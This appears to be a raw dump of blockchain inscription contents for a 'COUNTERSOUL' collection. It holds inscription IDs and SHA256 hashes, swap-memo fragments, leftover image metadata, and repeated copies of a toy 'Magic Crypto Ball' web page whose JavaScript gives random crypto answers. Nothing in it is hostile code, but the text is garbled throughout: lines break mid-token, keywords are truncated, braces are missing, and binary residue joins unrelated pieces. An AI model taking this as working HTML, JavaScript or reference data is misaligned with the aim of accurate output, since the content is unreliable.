8888b.  888     888 888b    888 88888888888 8888888888 8888888b.   .d8888b.   .d88888b.  888     888 888
d88P  Y88b d88P" "Y88b 888     888 8888b   888     888     888        888   Y88b d88P  Y88b d88P" "Y88b 888     888 888
888    888 888     888 888     888 88888b  888     888     888        888    888 Y88b.      888     888 888     888 888
888        888     888 888     888 888Y88b 888     888     8888888    888   d88P  "Y888b.   888     888 888     888 888
888        888     888 888     M
888 888 Y88b888     888     888        8888888P"      "Y88b. 888     888 888     888 888
888    888 888     888 888     888 888  Y88888     888     888        888 T88b         "888 888     888 888     888 888
Y88b  d88P Y88b. .d88P Y88b. .d88P 888   Y8888     888     888        888  T88b  Y88b  d88P Y88b. .d88P Y88b. .d88P 888
 "Y8888P"   "Y88888P"   "Y88888P"  888    Y888     888     8888888888 888   T88b  "Y8888P"   "Y88888P"   "Y88888P"  88888888
                                               M

COUNTERSOUL Inscription IDs:
{"COUNTERSOUL": "#1", "inscription": "8d26082fe8cd2b6f14f7e9538995116c046dc3992da2ba6c8fbc9c9d0c1c703bi0"}
{"COUNTERSOUL": "#2", "inscription": "22f237b78478e1baf09f09fd722b41a3c76c98a7b4609688578d4a6d2976d225i0"}
{"COUNTERSOUL": "#3", "inscription": "dddf782966d89778ef9868e51648a941ad4252995dbf4bd15306c6cd91c4240bi0"}
{"COUNTERSOUL": "#4", "inscription": "d8bb7e416c76f4f9160f0fefd8a3f2f13b472e5b3ade6432c1aM
{"COUNTERSOUL": "#5", "inscription": "03949dd1724549abb238eb156a8f27782ac2c1df104e58750382829ec98b4167i0"}
{"COUNTERSOUL": "#6", "inscription": "32d163590090f5ec766d9debf500d26487820889f86806ccf2a39bf5284db112i0"}
{"COUNTERSOUL": "#7", "inscription": "fd6e2ff9a4d4b4aecde25188689dd686677675bd7706b69b0a1d5d27ec8a8095i0"}
{"COUNTERSOUL": "#8", "inscription": "8a879799935ff9efb83707e27bf0075af7cde622aa2a373cbb7f5fe5917092afi0"}
{"COUNTERSOUL": "#9", "inscription": "33886a889f554fc307749130f4c366715b07M
1c79715c76d404eb205a8dae290fi0"}
{"COUNTERSOUL": "#10", "inscription": "06e757c5db7660fa60f0f4f9f2aebdc81139ec8c54c6123babb052fd8168a7b0i0"}
{"COUNTERSOUL": "#11", "inscription": "39de7379f3c88802f6f2f1d8a5a7938ffeaebeff5b96ef3231083154801ebb26i0"}
{"COUNTERSOUL": "#12", "inscription": "4faa3d1354f94f120011a398a606a5feced63bb81cbc452451e04c6c2cd38dddi0"}
{"COUNTERSOUL": "#13", "inscription": "c64a8a35571a8781aa881768dcff02a223a70d867e03b49de9235b21d07a11f2i0"}
{"COUNTERSOUL": "#14", "inscription": "861b847a9bd7c03fM
14479efe3165afda5502421fc786f117fc969e1bb52ebaa5i0"}
{"COUNTERSOUL": "#15", "inscription": "8a28e357152abaf25c6b2c5279efe8d8afde30ffc3c6fd2c041ac8fd4b18caa4i0"}
{"COUNTERSOUL": "#16", "inscription": "9dcaa1a365f0840efd62f0d107af60fb898e50e6e68b8b5a12b9400c9c6c34c8i0"}
{"COUNTERSOUL": "#17", "inscription": "8a8a06e248bda728b7c5dd0339f3d31367f181695c42d5b5d76ba53327a460fdi0"}
{"COUNTERSOUL": "#18", "inscription": "d1e88d9a62276e25d21b08c0d08af34d6a293bcaec73a2058e53768e4b7aaad7i0"}
{"COUNTERSOUL": "#19", "inscriptionM
": "44c1623a899fc92536a21970a194d2ac3ff179d84c97c2f707cddf16d1306772i0"}
{"COUNTERSOUL": "#20", "inscription": "3dd1a7a7c6abcbb6b6fea2cec712c7f312ae973e7abd7e08afdf6671c75ed43di0"}
{"COUNTERSOUL": "#21", "inscription": "c8d87ef67469d014c680eed9c0ee359050c5bc928b668b2994081d71103e5102i0"}
{"COUNTERSOUL": "#22", "inscription": "9af056677214a6c7f583da1de16ed0602ebb8a05a92752fad4edf6ca17016748i0"}
{"COUNTERSOUL": "#23", "inscription": "e715011968f66fbab561c386418dc9e4061fa45cf1cb4cd9f75cd7046b5e332fi0"}
 "#24", "inscription": "fef57d228f499d69a6ad6892197bbd41fdfc7440231f65c6778cea79513e43edi0"}
{"COUNTERSOUL": "#25", "inscription": "c9e126835682132b46c6b27c3a7f80151275607ce174086192470695df4afb74i0"}
COUNTERSOUL SHA256 Hash:
{"COUNTERSOUL": "#1", "SHA256": "b96187582b84923015f24bac3a56e1466b6848175302dfed8a8c6f6beaa55e88"}
{"COUNTERSOUL": "#2", "SHA256": "6c7cb1e1e160a885eead974944f729cb17ec59cfb4ea9ca7183d57147d142dc1"}
{"COUNTERSOUL": "#3", "SHA256": "b82c1a60cc4f45a01a54d9ff06b82e76ad875a1ec8291a35ab4e991e555M
{"COUNTERSOUL": "#4", "SHA256": "5165b9b0baa40aa4f100584ce7b37f2360bc4c556903b8afc2e3e65a196f7def"}
{"COUNTERSOUL": "#5", "SHA256": "c93db9aa5af089bc69295cfc7be34b841b5a79d90231233880ca6e2f7da9281a"}
{"COUNTERSOUL": "#6", "SHA256": "c980e2d186fc871bec372aba4917b3d8c99122df71eb080e6cd75b9cbdf4e15d"}
{"COUNTERSOUL": "#7", "SHA256": "c980e2d186fc871bec372aba4917b3d8c99122df71eb080e6cd75b9cbdf4e15d"}
{"COUNTERSOUL": "#8", "SHA256": "e53a7792449f85145e6ea0f7314778c1702d7885e30609f3cfe26cd8ae2c933b"}
L": "#9", "SHA256": "d6787d6d93fadb6a4256c668670648da9ddf5d8d161a08ec874d2568a3abeb64"}
{"COUNTERSOUL": "#10", "SHA256": "9f9d8b455b3cb4b559f0c721e55bc7b78f8cfaf57df7c658a91fbf5fca6f4977"}
{"COUNTERSOUL": "#11", "SHA256": "6bba65458b3e14b36af2f05f5f7de8871800ae1a195035f3a8cd7a3561a8ca24"}
{"COUNTERSOUL": "#12", "SHA256": "5fd1bb0a3a415d2fb5338ccaf024d39181f4cfbc973b939775c2afaa6f16de9d"}
{"COUNTERSOUL": "#13", "SHA256": "ea4720386729918b43857d8444b05c28b412c41fa3e34b5009c0629719de7942"}
{"COUNTERSOUL": "#14", "SHA2M
56": "056d5f7827ff730b54b38c80e433db1fe37b12f4df494bbf0e9764836ed080f9"}
{"COUNTERSOUL": "#15", "SHA256": "1aff17bdf728d41d32499927b4410f905f8e50d5d40e429c776fbaa41c453594"}
{"COUNTERSOUL": "#16", "SHA256": "604f08eeef3b0fba0360aacb150fa398af0c8d6c8eb3038c827cbc0eb47b5347"}
{"COUNTERSOUL": "#17", "SHA256": "f75ba592979556e5406f76eea4cf02f2916582e12788bcdee0d5ac7f4715e1c0"}
{"COUNTERSOUL": "#18", "SHA256": "8150c146e242dc0e90bed7a3b4ddc9012623cbe219b589eecc4ec04b3d9c5d93"}
{"COUNTERSOUL": "#19", "SHA256": "418eb0290M
9d312c7bce880b18864b4f3a715a8214021f89a13ffcdbbecf48486"}
{"COUNTERSOUL": "#20", "SHA256": "c9eb070b8fa1920f0114b7573f8cb38043f6f891a7888378dc2594a36aac0954"}
{"COUNTERSOUL": "#21", "SHA256": "45ca5e7d965452fb917aada533570a7140af74196b9992c96daad7217cea0a97"}
{"COUNTERSOUL": "#22", "SHA256": "cb89e1284bcc304e5532b9bd49e6ce189ed6d16d408a1155a1166b279ff16497"}
{"COUNTERSOUL": "#23", "SHA256": "9c2c7fc3c3337fab8273f92a4019b3ea70fd94da5a0d80b13a73f5e6cefe1863"}
{"COUNTERSOUL": "#24", "SHA256": "30fad79b11fedc8c12bb0f6dL
303096d682d09d0425192ac02ef07a817ae63999"}
{"COUNTERSOUL": "#25", "SHA256": "eb51cdc3298a8be1650bc436a880c52a2357e2e5cbeda40aca0a877770e48a69"}h!
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
text/plain;charset=utf-8
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
HjF=:BNB.BUSD-BD1:bnb10gh0p6thzjz54jqy9lg0rv733fnl0vqmc789pp:960297559946
IjGREFUND:2A20A90298A45B3395803C1C4AFFFC2BE7DF695FE3EA2F704F0C32369516012F
FjDOUT:7F35BC329B5B18D658B546B10A2E1C676A91C879A021A049E357DC594AFFCD4C
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
YiTXtXML:com.adobe.xmp
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0">
   <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
      <rdf:Description rdf:about=""
            xmlns:tiff="http://ns.adobe.com/tiff/1.0/">
         <tiff:Orientation>1</tiff:Orientation>
      </rdf:Description>
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
text/plain;charset=utf-8
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" M
xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:GIMP="http://www.gimp.org/xmp/" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="gimp:docid:gimp:c1f75b94-cc58-44a2-b7e9-f90402f3d700" xmpMM:InstanceID="xmp.iid:627376c7-15ff-4f3a-a188-b965cb077711" xmpMM:OriginalDocumentID="xmp.did:a8d2008d-ae13-4409-bb72-2c060d51df80" dc:Format="image/webp" GIMP:API="2.0"M
 GIMP:Platform="Windows" GIMP:TimeStamp="1676318965289119" GIMP:Version="2.10.32" tiff:Orientation="1" xmp:CreatorTool="GIMP 2.10" xmp:MetadataDate="2023:02:13T15:09:20-05:00" xmp:ModifyDate="2023:02:13T15:09:20-05:00"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:36d398e1-56ee-4e8b-8103-3ca533a750a3" stEvt:softwareAgent="Gimp 2.10 (Windows)" stEvt:when="2023-02-13T15:06:53"/> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:f2096f60-27d8M
-47cf-a7e0-1fd979a9a941" stEvt:softwareAgent="Gimp 2.10 (Windows)" stEvt:when="2023-02-13T15:09:25"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                                                                                                                            M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        L
                                                                                                                                             <?xpacket end="w"?>h!
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164488, 2020/07/10-22:06:53        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.diM
d:e0d18448-e896-5e43-a0da-1b9382b0ded8" xmpMM:DocumentID="xmp.did:815B628FAA1D11EDA9E4855E5FD68293" xmpMM:InstanceID="xmp.iid:815B628EAA1D11EDA9E4855E5FD68293" xmp:CreatorTool="Adobe Photoshop 22.0 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:5b588711-b116-814c-91d5-351258d52ed1" stRef:documentID="adobe:docid:photoshop:a1abe87c-c128-284f-beb5-9705e8f093f5"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
&2.&&&&.>55555>DAAAAAADDDDDDDDDDDDDDDDDDDDDDDDDDDDDM
&6& &6D6++6DDDB5BDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
"""""""""""""""""""""""
Jvq\"""""""""""$J\UUUUUUUUUR
wwwwwwwwwwwwwwwwwwwh
7wwwwwwwwwwwwwwwwwwvU
33333333333333333330
9Fffffffffffn*ffffffb
'wwwwwwwwwwwwwwwwwwwwtO
Adobe Photoshop 23.0 (Macintosh)
cropWhenPrintingbool
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.dabacbb, 2021/04/14-00:39:44        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1M
.0/" xmpMM:DocumentID="adobe:docid:photoshop:f979809f-0386-0246-b7dd-68a0b5f91d2e" xmpMM:InstanceID="xmp.iid:59239773-5c61-4b31-abb4-8c59d3d7bab1" xmpMM:OriginalDocumentID="63D5C1FB16D3387A5FEAA0AAC4E0478F" dc:format="image/jpeg" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB" xmp:CreateDate="2023-02-07T23:33:24+01:00" xmp:ModifyDate="2023-02-07T23:58:40+01:00" xmp:MetadataDate="2023-02-07T23:58:40+01:00"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:23e520f6-0092-426b-b136-4M
ae2928e73c9" stEvt:when="2023-02-07T23:58:40+01:00" stEvt:softwareAgent="Adobe Photoshop 23.0 (Macintosh)" stEvt:changed="/"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:59239773-5c61-4b31-abb4-8c59d3d7bab1" stEvt:when="2023-02-07T23:58:40+01:00" stEvt:softwareAgent="Adobe Photoshop 23.0 (Macintosh)" stEvt:changed="/"/> </rdf:Seq> </xmpMM:History> <photoshop:TextLayers> <rdf:Bag> <rdf:li photoshop:LayerName="Reef . ORDINALS" photoshop:LayerText="Reef . ORDINALS"/> </rdf:Bag> </photoshop:TextLayers> <phoM
toshop:DocumentAncestors> <rdf:Bag> <rdf:li>63D5C1FB16D3387A5FEAA0AAC4E0478F</rdf:li> <rdf:li>adobe:docid:photoshop:059e90e8-c435-3446-9af9-7103c042e11c</rdf:li> <rdf:li>xmp.did:9a9394a5-7168-4c60-baf8-6b80359e20d5</rdf:li> </rdf:Bag> </photoshop:DocumentAncestors> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                    M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                     <?xpacket end="w"?>
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
text/html;charset=utf-8
	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Magic Crypto Ball</title>
		var answers = ["It is certain","That's a ridiculous question!","Crypto is the future!","Highly likely","Outlook promising","Yes","Price is uncertain, try again","That's none of your business!","Go ask someone else!","Go away!","Study the charts and ask again","Don't invest in it","I'm not telling you!","No, and don't ask M
me again!","Outlook not so good","Very doubtful","That's not my problem!","Outlook is bright for crypto!","The market sees potential","It's a great opportunity!","Cannot trust the market now","Outlook not so promising","Outlook is grim"];
		var complains=["Stop talking over me","Shut up and let me talk!","Keep quiet and let me finish","Zip it, I'm not done yet","Keep quiet until I'm done","Shut up and let me finish","Sit down and be quiet"];
		var answerFinishedAt=new Date().getTime();
		var interrupted=0;
nction magicBall() {
			if (interrupted==1) return;
			if (!isAnswerFinished())
				getInterruptReply();
			var randomAnswer = answers[Math.floor(Math.random() * answers.length)];
			document.getElementById("answer").innerHTML = "";
			for (let i=0;i<randomAnswer.length;i++){
			  setTimeout(()=>{
				if (interrupted==0) document.getElementById("answer").innerHTML+=randomAnswer[i];
			answerFinishedAt=new Date().getTime()+randomAnswer.length*80;
n getInterruptReply(){
			var randomComplain=complains[Math.floor(Math.random()*complains.length)];
			document.getElementById("answer").innerHTML="";
			for (let i=0;i<randomComplain.length;i++){
			  setTimeout(()=>{
				document.getElementById("answer").innerHTML+=randomComplain[i];
		function isAnswerFinished(){
			return new Date().getTime()>=answerFinishedAt;
		body {overflow:hidden;margin:0;}
		.textArea {position:absolute;top:0;left:0;width:100%;height:100%;display:flex;justify-content:center;align-items:center;}
		.text {font-size:calc(6vw);font-weight:bold;margin:0 30%;text-align:center;-webkit-user-select:none;user-select:none;color:#228B22;text-shadow: 0px 0px 5px #228B22;}
		.fade {animation: 15s anim-fade ease-out infinite;}
		@keyframes anim-fade {
		  0% {opacity:1;transform:scale(1);}
		  50% {opacity:0.3;transform:scale(0.95);}
:1;transform:scale(1);}
    <div onclick="magicBall()">
		<svg width="100vw" height="100vh" xmlns="http://www.w3.org/2000/svg" xmlns:svg="http://www.w3.org/2000/svg">
				<circle r="49%" cy="50%" cx="50%" fill="#228B22" filter="url(#shadow)"/>
				<circle r="47.5%" cy="50%" cx="50%" fill="#2E9E2E"/>
				<circle r="47.5%" cy="51.5%" cx="51.5%" fill="#228B22"/>
				<circle r="47.5%" cy="50%" cx="50%" fill="url(#shiny-gradient)"/>
				<circle r="28.5%" cy="50%" cx="5M
0%" stroke-width="3px" stroke="#EEEEEE" fill="none" filter="url(#shadow)"/>
				<circle r="27%" cy="50%" cx="50%" stroke-width="2px" stroke="#32CD32" fill="url(#gloss)" filter="url(#shadow)"/>
			<radialGradient id="shiny-gradient">
				<stop offset="20%" stop-color="#FFFFFF" stop-opacity="1"/>
				<stop offset="65%" stop-color="#FFFFFF" stop-opacity="0.4"/>
				<stop offset="90%" stop-color="#FFFFFF" stop-opacity="0.2"/>
				<stop offset="99%" stop-color="#FFFFFF" stop-opacity="0.05"/>
fset="100%" stop-color="#FFFFFF" stop-opacity="0"/>
			</radialGradient>
			<linearGradient id="gloss" x1="0%" y1="0%" x2="0%" y2="100%">
				<stop offset="0%" stop-color="#ffffff"/>
				<stop offset="100%" stop-color="#aaaaaa"/>
			</linearGradient>
			<filter id="shadow">
			<feDropShadow dx="0" dy="0" stdDeviation="3" flood-color="#127B12"/>
		<div class="textArea">
			<p id="answer" class="text fade">Ask me a question and click</p>
text/html;charset=utf-8
	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Magic Crypto Ball</title>
		var answers = ["It is certain","That's a ridiculous question!","Crypto is the future!","Highly likely","Outlook promising","Yes","Price is uncertain, try again","That's none of your business!","Go ask someone else!","Go away!","Study the charts and ask again","Don't invest in it","I'm not telling you!","No, and don't ask M
me again!","Outlook not so good","Very doubtful","That's not my problem!","Outlook is bright for crypto!","The market sees potential","It's a great opportunity!","Cannot trust the market now","Outlook not so promising","Outlook is grim"];
		var complains=["Stop talking over me","Shut up and let me talk!","Keep quiet and let me finish","Zip it, I'm not done yet","Keep quiet until I'm done","Shut up and let me finish","Sit down and be quiet"];
		var answerFinishedAt=new Date().getTime();
		var interrupted=0;
nction magicBall() {
			if (interrupted==1) return;
			if (!isAnswerFinished())
				getInterruptReply();
			var randomAnswer = answers[Math.floor(Math.random() * answers.length)];
			document.getElementById("answer").innerHTML = "";
			for (let i=0;i<randomAnswer.length;i++){
			  setTimeout(()=>{
				if (interrupted==0) document.getElementById("answer").innerHTML+=randomAnswer[i];
			answerFinishedAt=new Date().getTime()+randomAnswer.length*80;
n getInterruptReply(){
			var randomComplain=complains[Math.floor(Math.random()*complains.length)];
			document.getElementById("answer").innerHTML="";
			for (let i=0;i<randomComplain.length;i++){
			  setTimeout(()=>{
				document.getElementById("answer").innerHTML+=randomComplain[i];
		function isAnswerFinished(){
			return new Date().getTime()>=answerFinishedAt;
		body {overflow:hidden;margin:0;}
		.textArea {position:absolute;top:0;left:0;width:100%;height:100%;display:flex;justify-content:center;align-items:center;}
		.text {font-size:calc(6vw);font-weight:bold;margin:0 30%;text-align:center;-webkit-user-select:none;user-select:none;color:#228B22;text-shadow: 0px 0px 5px #228B22;}
		.fade {animation: 15s anim-fade ease-out infinite;}
		@keyframes anim-fade {
		  0% {opacity:1;transform:scale(1);}
		  50% {opacity:0.3;transform:scale(0.95);}
:1;transform:scale(1);}
    <div onclick="magicBall()">
		<svg width="100vw" height="100vh" xmlns="http://www.w3.org/2000/svg" xmlns:svg="http://www.w3.org/2000/svg">
				<circle r="49%" cy="50%" cx="50%" fill="#228B22" filter="url(#shadow)"/>
				<circle r="47.5%" cy="50%" cx="50%" fill="#2E9E2E"/>
				<circle r="47.5%" cy="51.5%" cx="51.5%" fill="#228B22"/>
				<circle r="47.5%" cy="50%" cx="50%" fill="url(#shiny-gradient)"/>
				<circle r="28.5%" cy="50%" cx="5M
0%" stroke-width="3px" stroke="#EEEEEE" fill="none" filter="url(#shadow)"/>
				<circle r="27%" cy="50%" cx="50%" stroke-width="2px" stroke="#32CD32" fill="url(#gloss)" filter="url(#shadow)"/>
			<radialGradient id="shiny-gradient">
				<stop offset="20%" stop-color="#FFFFFF" stop-opacity="1"/>
				<stop offset="65%" stop-color="#FFFFFF" stop-opacity="0.4"/>
				<stop offset="90%" stop-color="#FFFFFF" stop-opacity="0.2"/>
				<stop offset="99%" stop-color="#FFFFFF" stop-opacity="0.05"/>
fset="100%" stop-color="#FFFFFF" stop-opacity="0"/>
			</radialGradient>
			<linearGradient id="gloss" x1="0%" y1="0%" x2="0%" y2="100%">
				<stop offset="0%" stop-color="#ffffff"/>
				<stop offset="100%" stop-color="#aaaaaa"/>
			</linearGradient>
			<filter id="shadow">
			<feDropShadow dx="0" dy="0" stdDeviation="3" flood-color="#127B12"/>
		<div class="textArea">
			<p id="answer" class="text fade">Ask me a question and click</p>
text/html;charset=utf-8
	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Magic Crypto Ball</title>
		var answers = ["It is certain","That's a ridiculous question!","Crypto is the future!","Highly likely","Outlook promising","Yes","Price is uncertain, try again","That's none of your business!","Go ask someone else!","Go away!","Study the charts and ask again","Don't invest in it","I'm not telling you!","No, and don't ask M
me again!","Outlook not so good","Very doubtful","That's not my problem!","Outlook is bright for crypto!","The market sees potential","It's a great opportunity!","Cannot trust the market now","Outlook not so promising","Outlook is grim"];
		var complains=["Stop talking over me","Shut up and let me talk!","Keep quiet and let me finish","Zip it, I'm not done yet","Keep quiet until I'm done","Shut up and let me finish","Sit down and be quiet"];
		var answerFinishedAt=new Date().getTime();
		var interrupted=0;
nction magicBall() {
			if (interrupted==1) return;
			if (!isAnswerFinished())
				getInterruptReply();
			var randomAnswer = answers[Math.floor(Math.random() * answers.length)];
			document.getElementById("answer").innerHTML = "";
			for (let i=0;i<randomAnswer.length;i++){
			  setTimeout(()=>{
				if (interrupted==0) document.getElementById("answer").innerHTML+=randomAnswer[i];
			answerFinishedAt=new Date().getTime()+randomAnswer.length*80;
n getInterruptReply(){
			var randomComplain=complains[Math.floor(Math.random()*complains.length)];
			document.getElementById("answer").innerHTML="";
			for (let i=0;i<randomComplain.length;i++){
			  setTimeout(()=>{
				document.getElementById("answer").innerHTML+=randomComplain[i];
		function isAnswerFinished(){
			return new Date().getTime()>=answerFinishedAt;
		body {overflow:hidden;margin:0;}
		.textArea {position:absolute;top:0;left:0;width:100%;height:100%;display:flex;justify-content:center;align-items:center;}
		.text {font-size:calc(6vw);font-weight:bold;margin:0 30%;text-align:center;-webkit-user-select:none;user-select:none;color:#228B22;text-shadow: 0px 0px 5px #228B22;}
		.fade {animation: 15s anim-fade ease-out infinite;}
		@keyframes anim-fade {
		  0% {opacity:1;transform:scale(1);}
		  50% {opacity:0.3;transform:scale(0.95);}
:1;transform:scale(1);}
    <div onclick="magicBall()">
		<svg width="100vw" height="100vh" xmlns="http://www.w3.org/2000/svg" xmlns:svg="http://www.w3.org/2000/svg">
				<circle r="49%" cy="50%" cx="50%" fill="#228B22" filter="url(#shadow)"/>
				<circle r="47.5%" cy="50%" cx="50%" fill="#2E9E2E"/>
				<circle r="47.5%" cy="51.5%" cx="51.5%" fill="#228B22"/>
				<circle r="47.5%" cy="50%" cx="50%" fill="url(#shiny-gradient)"/>
				<circle r="28.5%" cy="50%" cx="5M
0%" stroke-width="3px" stroke="#EEEEEE" fill="none" filter="url(#shadow)"/>
				<circle r="27%" cy="50%" cx="50%" stroke-width="2px" stroke="#32CD32" fill="url(#gloss)" filter="url(#shadow)"/>
			<radialGradient id="shiny-gradient">
				<stop offset="20%" stop-color="#FFFFFF" stop-opacity="1"/>
				<stop offset="65%" stop-color="#FFFFFF" stop-opacity="0.4"/>
				<stop offset="90%" stop-color="#FFFFFF" stop-opacity="0.2"/>
				<stop offset="99%" stop-color="#FFFFFF" stop-opacity="0.05"/>
fset="100%" stop-color="#FFFFFF" stop-opacity="0"/>
			</radialGradient>
			<linearGradient id="gloss" x1="0%" y1="0%" x2="0%" y2="100%">
				<stop offset="0%" stop-color="#ffffff"/>
				<stop offset="100%" stop-color="#aaaaaa"/>
			</linearGradient>
			<filter id="shadow">
			<feDropShadow dx="0" dy="0" stdDeviation="3" flood-color="#127B12"/>
		<div class="textArea">
			<p id="answer" class="text fade">Ask me a question and click</p>
text/html;charset=utf-8
	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Magic Crypto Ball</title>
		var answers=["It is certain","That makes no sense!","Are you kidding me?","Highly likely","Outlook promising","Yes","Price is uncertain, try again","What kind of answer do you expect?","It's too volatile to tell now","What are you even asking?","Study the charts and ask again","No, but I'll give you a joke!","My reply is M
no","I'm not sure what to say!","Outlook not so good","Very doubtful","Go ask someone else!","Go ahead, make my day!","The market sees potential","It's a great opportunity!","I'm all ears for a good joke!","Outlook not so promising","Outlook is grim"];
		var complains=["Please don't interrupt me", "I'm still talking here","Let me finish, please","Please wait your turn to speak","Respectfully, don't talk over me","Do not interrupt me, it's rude"];
		var changeMind=["I'm reconsidering my choice","I'm backtracking",M
"I'm having second thoughts","I'm having doubts now","I'm revising my earlier decision"];
		var answerFinishedAt=new Date().getTime();
		var interrupted=0;
		var changedMind=0;
		function magicBall() {
			if (interrupted==1||changedMind==1) return;
			if (!isAnswerFinished())
				getInterruptReply();
			var randomAnswer = answers[Math.floor(Math.random() * answers.length)];
			document.getElementById("answer").innerHTML = "";
			for (let i=0;i<randomAnswer.length;i++){
				if (interrupted==0) document.getElementById("answer").innerHTML+=randomAnswer[i];
			answerFinishedAt=new Date().getTime()+randomAnswer.length*100;
				if (Math.floor(Math.random()*4)==0)
					getChangeMind();
			},randomAnswer.length*100+1000);
